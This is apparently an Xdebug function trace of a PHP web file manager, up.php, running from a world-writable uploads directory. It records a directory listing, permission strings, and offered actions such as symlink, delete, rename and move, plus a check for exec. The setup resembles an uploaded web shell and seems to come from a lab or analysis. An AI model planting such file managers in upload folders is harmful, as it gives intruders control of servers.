2 A /var/www/html/uploads/up.php 1186 $list = [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
3 181 0 0.010935 799144 directory_choice 1 /var/www/html/uploads/up.php 1195 0
4 182 0 0.010953 799288 urlencode 0 /var/www/html/uploads/up.php 1433 1 '/var/www/html/uploads/'
4 182 1 0.010967 799384
4 182 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 183 0 0.010984 799320 word 1 /var/www/html/uploads/up.php 1433 1 'directory'
5 184 0 0.010999 799344 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'Directory' 2 'ISO-8859-1'
5 184 1 0.011017 799616
5 184 R 'Directory'
4 183 1 0.011032 799504
4 183 R 'Directory'
4 185 0 0.011047 799408 textfieldsize 1 /var/www/html/uploads/up.php 1434 1 '/var/www/html/uploads/'
4 A /var/www/html/uploads/up.php 1570 $size = 27
4 A /var/www/html/uploads/up.php 1571 $size = 30
4 185 1 0.011082 799408
4 185 R 30
4 186 0 0.011096 799408 html 1 /var/www/html/uploads/up.php 1434 1 '/var/www/html/uploads/'
5 187 0 0.011109 799408 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '/var/www/html/uploads/' 2 'ISO-8859-1'
5 187 1 0.011124 799680
5 187 R '/var/www/html/uploads/'
4 186 1 0.011140 799568
4 186 R '/var/www/html/uploads/'
4 188 0 0.011155 799536 word 1 /var/www/html/uploads/up.php 1435 1 'change'
5 189 0 0.011168 799536 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'change' 2 'ISO-8859-1'
5 189 1 0.011183 799808
5 189 R 'change'
4 188 1 0.011197 799696
4 188 R 'change'
3 181 1 0.011211 799216
3 190 0 0.011220 799216 is_writable 0 /var/www/html/uploads/up.php 1202 1 '/var/www/html/uploads/'
3 190 1 0.011256 799256
3 190 R TRUE
3 191 0 0.011271 799216 upload_box 1 /var/www/html/uploads/up.php 1203 0
4 192 0 0.011284 799280 word 1 /var/www/html/uploads/up.php 1447 1 'file'
5 193 0 0.011297 799280 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'File' 2 'ISO-8859-1'
5 193 1 0.011312 799552
5 193 R 'File'
4 192 1 0.011325 799440
4 192 R 'File'
4 194 0 0.011339 799408 word 1 /var/www/html/uploads/up.php 1449 1 'upload'
5 195 0 0.011351 799408 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'upload' 2 'ISO-8859-1'
5 195 1 0.011365 799680
5 195 R 'upload'
4 194 1 0.011379 799568
4 194 R 'upload'
3 191 1 0.011393 799216
3 196 0 0.011401 799216 create_box 1 /var/www/html/uploads/up.php 1204 0
4 197 0 0.011414 799376 word 1 /var/www/html/uploads/up.php 1462 1 'file'
5 198 0 0.011427 799376 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'File' 2 'ISO-8859-1'
5 198 1 0.011441 799648
5 198 R 'File'
4 197 1 0.011454 799536
4 197 R 'File'
4 199 0 0.011468 799440 word 1 /var/www/html/uploads/up.php 1463 1 'directory'
5 200 0 0.011481 799440 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'Directory' 2 'ISO-8859-1'
5 200 1 0.011496 799712
5 200 R 'Directory'
4 199 1 0.011511 799600
4 199 R 'Directory'
4 201 0 0.011525 799600 word 1 /var/www/html/uploads/up.php 1466 1 'create'
5 202 0 0.011538 799600 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'create' 2 'ISO-8859-1'
5 202 1 0.011552 799872
5 202 R 'create'
4 201 1 0.011566 799760
4 201 R 'create'
3 196 1 0.011579 799216
3 203 0 0.011587 799216 listing 1 /var/www/html/uploads/up.php 1210 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 204 0 0.011661 799216 column_title 1 /var/www/html/uploads/up.php 1232 3 'filename' 'filename' FALSE
5 205 0 0.011677 799216 urlencode 0 /var/www/html/uploads/up.php 1412 1 '/var/www/html/uploads/'
5 205 1 0.011689 799312
5 205 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 A /var/www/html/uploads/up.php 1412 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
4 A /var/www/html/uploads/up.php 1416 $r = '&reverse=true'
4 A /var/www/html/uploads/up.php 1417 $arr = ' ∧'
5 206 0 0.011742 799456 word 1 /var/www/html/uploads/up.php 1424 1 'filename'
6 207 0 0.011755 799456 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'Filename' 2 'ISO-8859-1'
6 207 1 0.011770 799728
6 207 R 'Filename'
5 206 1 0.011785 799616
5 206 R 'Filename'
4 204 1 0.011800 799216
4 208 0 0.011807 799216 column_title 1 /var/www/html/uploads/up.php 1233 3 'size' 'filename' FALSE
5 209 0 0.011822 799216 urlencode 0 /var/www/html/uploads/up.php 1412 1 '/var/www/html/uploads/'
5 209 1 0.011834 799312
5 209 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 A /var/www/html/uploads/up.php 1412 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
4 A /var/www/html/uploads/up.php 1422 $r = ''
5 210 0 0.011872 799408 word 1 /var/www/html/uploads/up.php 1424 1 'size'
6 211 0 0.011885 799408 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'Size' 2 'ISO-8859-1'
6 211 1 0.011898 799680
6 211 R 'Size'
5 210 1 0.011912 799568
5 210 R 'Size'
4 208 1 0.011960 799216
4 212 0 0.011969 799216 column_title 1 /var/www/html/uploads/up.php 1236 3 'permission' 'filename' FALSE
5 213 0 0.011984 799216 urlencode 0 /var/www/html/uploads/up.php 1412 1 '/var/www/html/uploads/'
5 213 1 0.011996 799312
5 213 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 A /var/www/html/uploads/up.php 1412 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
4 A /var/www/html/uploads/up.php 1422 $r = ''
5 214 0 0.012034 799424 word 1 /var/www/html/uploads/up.php 1424 1 'permission'
6 215 0 0.012051 799424 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'Permission' 2 'ISO-8859-1'
6 215 1 0.012066 799696
6 215 R 'Permission'
5 214 1 0.012081 799584
5 214 R 'Permission'
4 212 1 0.012110 799328
4 216 0 0.012118 799328 column_title 1 /var/www/html/uploads/up.php 1237 3 'owner' 'filename' FALSE
5 217 0 0.012132 799328 urlencode 0 /var/www/html/uploads/up.php 1412 1 '/var/www/html/uploads/'
5 217 1 0.012145 799424
5 217 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 A /var/www/html/uploads/up.php 1412 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
4 A /var/www/html/uploads/up.php 1422 $r = ''
5 218 0 0.012182 799536 word 1 /var/www/html/uploads/up.php 1424 1 'owner'
6 219 0 0.012194 799536 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'Owner' 2 'ISO-8859-1'
6 219 1 0.012210 799808
6 219 R 'Owner'
5 218 1 0.012223 799696
5 218 R 'Owner'
4 216 1 0.012243 799328
4 220 0 0.012250 799328 column_title 1 /var/www/html/uploads/up.php 1238 3 'group' 'filename' FALSE
5 221 0 0.012265 799328 urlencode 0 /var/www/html/uploads/up.php 1412 1 '/var/www/html/uploads/'
5 221 1 0.012277 799424
5 221 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 A /var/www/html/uploads/up.php 1412 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
4 A /var/www/html/uploads/up.php 1422 $r = ''
5 222 0 0.012314 799536 word 1 /var/www/html/uploads/up.php 1424 1 'group'
6 223 0 0.012327 799536 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'Group' 2 'ISO-8859-1'
6 223 1 0.012341 799808
6 223 R 'Group'
5 222 1 0.012355 799696
5 222 R 'Group'
4 220 1 0.012373 799328
4 224 0 0.012380 799328 word 1 /var/www/html/uploads/up.php 1241 1 'functions'
5 225 0 0.012395 799328 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'Functions' 2 'ISO-8859-1'
5 225 1 0.012409 799600
5 225 R 'Functions'
4 224 1 0.012423 799488
4 224 R 'Functions'
3 A /var/www/html/uploads/up.php 1245 $i = 0
4 226 0 0.012447 799328 sizeof 0 /var/www/html/uploads/up.php 1245 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 226 1 0.012517 799360
4 226 R 6
3 A /var/www/html/uploads/up.php 1246 $file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 227 0 0.012558 799328 date 0 /var/www/html/uploads/up.php 1248 2 'n/j/y H:i:s' 1676252825
4 227 1 0.012661 801720
4 227 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1248 $timestamps = 'mtime: 2/12/23 20:47:05, '
4 228 0 0.012704 801448 date 0 /var/www/html/uploads/up.php 1249 2 'n/j/y H:i:s' 1676252825
4 228 1 0.012744 801776
4 228 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1249 $timestamps .= 'atime: 2/12/23 20:47:05, '
4 229 0 0.012786 801472 date 0 /var/www/html/uploads/up.php 1250 2 'n/j/y H:i:s' 1676252825
4 229 1 0.012852 801800
4 229 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1250 $timestamps .= 'ctime: 2/12/23 20:47:05'
4 230 0 0.012884 801696 html 1 /var/www/html/uploads/up.php 1254 1 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5 231 0 0.012900 801696 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05' 2 'ISO-8859-1'
5 231 1 0.012919 802000
5 231 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 230 1 0.012935 801888
4 230 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 232 0 0.012953 801552 urlencode 0 /var/www/html/uploads/up.php 1277 1 '/var/www/html/uploads/.'
4 232 1 0.012966 801648
4 232 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.'
4 233 0 0.012982 801584 html 1 /var/www/html/uploads/up.php 1277 1 '.'
5 234 0 0.012994 801584 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '.' 2 'ISO-8859-1'
5 234 1 0.013008 801856
5 234 R '.'
4 233 1 0.013028 801744
4 233 R '.'
4 235 0 0.013043 801504 human_filesize 1 /var/www/html/uploads/up.php 1300 1 4096
4 A /var/www/html/uploads/up.php 1148 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/up.php 1150 $n = 0
4 A /var/www/html/uploads/up.php 1152 $filesize /= 1024
4 A /var/www/html/uploads/up.php 1153 $n++
5 236 0 0.013100 801504 strpos 0 /var/www/html/uploads/up.php 1156 2 4 '.'
5 236 1 0.013113 801576
5 236 R FALSE
5 237 0 0.013127 801504 round 0 /var/www/html/uploads/up.php 1156 2 4 3
5 237 1 0.013139 801576
5 237 R 4
4 A /var/www/html/uploads/up.php 1156 $filesize = 4
5 238 0 0.013163 801504 strpos 0 /var/www/html/uploads/up.php 1158 2 4 '.'
5 238 1 0.013176 801832
5 238 R FALSE
5 239 0 0.013190 801504 substr 0 /var/www/html/uploads/up.php 1164 3 'kMGTPE' 0 1
5 239 1 0.013204 801600
5 239 R 'k'
4 A /var/www/html/uploads/up.php 1164 $suffix = 'k'
4 235 1 0.013229 801536
4 235 R '4 kB'
3 A /var/www/html/uploads/up.php 1300 $human = ' title="4 kB"'
4 240 0 0.013256 801544 decoct 0 /var/www/html/uploads/up.php 1311 1 16895
4 240 1 0.013269 801616
4 240 R '40777'
4 241 0 0.013282 801544 function_exists 0 /var/www/html/uploads/up.php 1313 1 'posix_getuid'
4 241 1 0.013296 801584
4 241 R TRUE
4 242 0 0.013309 801544 posix_getuid 0 /var/www/html/uploads/up.php 1313 0
4 242 1 0.013322 801544
4 242 R 33
3 A /var/www/html/uploads/up.php 1313 $l = FALSE
4 243 0 0.013345 801544 permission_octal2string 1 /var/www/html/uploads/up.php 1315 1 16895
4 A /var/www/html/uploads/up.php 965 $type = 'd'
4 A /var/www/html/uploads/up.php 974 $owner = 'r'
4 A /var/www/html/uploads/up.php 975 $owner .= 'w'
4 A /var/www/html/uploads/up.php 979 $owner .= 'x'
4 A /var/www/html/uploads/up.php 982 $group = 'r'
4 A /var/www/html/uploads/up.php 983 $group .= 'w'
4 A /var/www/html/uploads/up.php 987 $group .= 'x'
4 A /var/www/html/uploads/up.php 990 $other = 'r'
4 A /var/www/html/uploads/up.php 991 $other .= 'w'
4 A /var/www/html/uploads/up.php 995 $other .= 'x'
4 243 1 0.013460 801584
4 243 R 'drwxrwxrwx'
4 244 0 0.013474 801584 html 1 /var/www/html/uploads/up.php 1315 1 'drwxrwxrwx'
5 245 0 0.013486 801584 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'drwxrwxrwx' 2 'ISO-8859-1'
5 245 1 0.013502 801856
5 245 R 'drwxrwxrwx'
4 244 1 0.013515 801744
4 244 R 'drwxrwxrwx'
4 246 0 0.013530 801544 array_key_exists 0 /var/www/html/uploads/up.php 1320 2 'owner_name' ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 246 1 0.013560 801608
4 246 R TRUE
4 247 0 0.013574 801544 array_key_exists 0 /var/www/html/uploads/up.php 1326 2 'group_name' ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 247 1 0.013602 801608
4 247 R TRUE
4 248 0 0.013616 801640 html 1 /var/www/html/uploads/up.php 1335 1 '/var/www/html/uploads/.'
5 249 0 0.013629 801640 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '/var/www/html/uploads/.' 2 'ISO-8859-1'
5 249 1 0.013644 801912
5 249 R '/var/www/html/uploads/.'
4 248 1 0.013659 801800
4 248 R '/var/www/html/uploads/.'
3 A /var/www/html/uploads/up.php 1338 $actions = []
4 250 0 0.013685 801544 function_exists 0 /var/www/html/uploads/up.php 1339 1 'symlink'
4 250 1 0.013699 801584
4 250 R TRUE
3 A /var/www/html/uploads/up.php 1340 $actions[] = 'create_symlink'
4 251 0 0.013725 801920 dirname 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads/.'
4 251 1 0.013738 802000
4 251 R '/var/www/html/uploads'
4 252 0 0.013752 801968 is_writable 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads'
4 252 1 0.013773 802008
4 252 R TRUE
3 A /var/www/html/uploads/up.php 1343 $actions[] = 'delete'
3 A /var/www/html/uploads/up.php 1344 $actions[] = 'rename'
3 A /var/www/html/uploads/up.php 1345 $actions[] = 'move'
4 253 0 0.013824 801920 function_exists 0 /var/www/html/uploads/up.php 1352 1 'exec'
4 253 1 0.013837 801960
4 253 R TRUE
4 254 0 0.013851 801920 sizeof 0 /var/www/html/uploads/up.php 1356 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4 254 1 0.013867 801952
4 254 R 4
4 255 0 0.013881 802016 str_repeat 0 /var/www/html/uploads/up.php 1359 2 ' ' 30
4 255 1 0.013896 802304
4 255 R ' '
4 256 0 0.013912 801984 word 1 /var/www/html/uploads/up.php 1363 1 'create_symlink'
5 257 0 0.013927 801984 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'create symlink' 2 'ISO-8859-1'
5 257 1 0.013942 802256
5 257 R 'create symlink'
4 256 1 0.013957 802144
4 256 R 'create symlink'
4 258 0 0.013972 801976 word 1 /var/www/html/uploads/up.php 1363 1 'delete'
5 259 0 0.013985 801976 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'delete' 2 'ISO-8859-1'
5 259 1 0.013999 802248
5 259 R 'delete'
4 258 1 0.014013 802136
4 258 R 'delete'
4 260 0 0.014027 801976 word 1 /var/www/html/uploads/up.php 1363 1 'rename'
5 261 0 0.014039 801976 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'rename' 2 'ISO-8859-1'
5 261 1 0.014053 802248
5 261 R 'rename'
4 260 1 0.014067 802136
4 260 R 'rename'
4 262 0 0.014080 801968 word 1 /var/www/html/uploads/up.php 1363 1 'move'
5 263 0 0.014093 801968 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'move' 2 'ISO-8859-1'
5 263 1 0.014107 802240
5 263 R 'move'
4 262 1 0.014120 802128
4 262 R 'move'
3 A /var/www/html/uploads/up.php 1245 $i++
4 264 0 0.014144 801920 sizeof 0 /var/www/html/uploads/up.php 1245 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 264 1 0.014215 801952
4 264 R 6
3 A /var/www/html/uploads/up.php 1246 $file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 265 0 0.014256 801920 date 0 /var/www/html/uploads/up.php 1248 2 'n/j/y H:i:s' 1676252825
4 265 1 0.014288 802248
4 265 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1248 $timestamps = 'mtime: 2/12/23 20:47:05, '
4 266 0 0.014315 801864 date 0 /var/www/html/uploads/up.php 1249 2 'n/j/y H:i:s' 1676252825
4 266 1 0.014345 802192
4 266 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1249 $timestamps .= 'atime: 2/12/23 20:47:05, '
4 267 0 0.014371 801888 date 0 /var/www/html/uploads/up.php 1250 2 'n/j/y H:i:s' 1676252825
4 267 1 0.014401 802216
4 267 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1250 $timestamps .= 'ctime: 2/12/23 20:47:05'
4 268 0 0.014427 802112 html 1 /var/www/html/uploads/up.php 1254 1 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5 269 0 0.014442 802112 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05' 2 'ISO-8859-1'
5 269 1 0.014459 802416
5 269 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 268 1 0.014475 802304
4 268 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 270 0 0.014492 801968 urlencode 0 /var/www/html/uploads/up.php 1277 1 '/var/www/html/uploads/..'
4 270 1 0.014504 802064
4 270 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F..'
